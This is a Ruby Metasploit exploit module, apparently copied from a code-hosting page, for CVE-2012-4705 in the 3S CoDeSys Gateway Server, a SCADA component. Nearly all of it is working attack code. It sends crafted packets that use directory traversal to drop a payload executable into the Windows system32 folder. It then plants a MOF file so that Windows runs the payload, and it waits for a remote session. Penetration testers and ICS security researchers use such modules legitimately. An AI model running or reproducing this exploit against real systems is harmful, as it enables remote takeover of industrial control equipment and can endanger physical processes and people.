106 lines
3.2 KiB
Ruby
106 lines
3.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::WbemExec
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability that allows arbitrary
|
|
file creation, which can be used to execute a mof file in order to gain remote
|
|
execution within the SCADA system.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Enrique Sanchez <esanchez[at]accuvant.com>'
|
|
],
|
|
'License' => 'MSF_LICENSE',
|
|
'References' =>
|
|
[
|
|
['CVE', '2012-4705'],
|
|
['OSVDB', '90368'],
|
|
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
|
|
],
|
|
'DisclosureDate' => 'Feb 02 2013',
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
|
|
],
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(1211),
|
|
], self.class)
|
|
end
|
|
|
|
##
|
|
# upload_file(remote_filepath, remote_filename, local_filedata)
|
|
#
|
|
# remote_filepath: Remote filepath where the file will be uploaded
|
|
# remote_filename: Remote name of the file to be executed ie. boot.ini
|
|
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
|
|
def upload_file(remote_filepath, remote_filename, local_filedata = null)
|
|
magic_code = "\xdd\xdd"
|
|
opcode = [6].pack('L')
|
|
|
|
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
|
|
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
|
|
#print_debug("File to upload: #{file}")
|
|
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
|
|
#print_debug(pkt_size)
|
|
|
|
# Magic_code + packing + size
|
|
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
|
|
|
|
tmp_pkt = opcode << file
|
|
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
|
|
pkt << tmp_pkt
|
|
|
|
print_status("Starting upload of file #{remote_filename}")
|
|
connect
|
|
sock.put(pkt)
|
|
disconnect
|
|
|
|
print_status("File uploaded")
|
|
end
|
|
|
|
def exploit
|
|
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
|
|
|
|
# We create an exe payload, we have to get remote execution in 2 steps
|
|
exe = generate_payload_exe
|
|
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
|
|
upload_file("windows\\system32\\", exe_name, exe)
|
|
|
|
# We create the mof file and upload (second step)
|
|
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
|
|
mof = generate_mof(mof_name, exe_name)
|
|
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
|
|
|
|
print_status("Everything is ready, waiting for a session ... ")
|
|
handler
|
|
|
|
#Taken from the spooler exploit writen byt jduck and HDMoore
|
|
cnt = 1
|
|
while session_created? == false and cnt < 25
|
|
::IO.select(nil, nil, nil, 0.25)
|
|
cnt += 1
|
|
end
|
|
end
|
|
end
|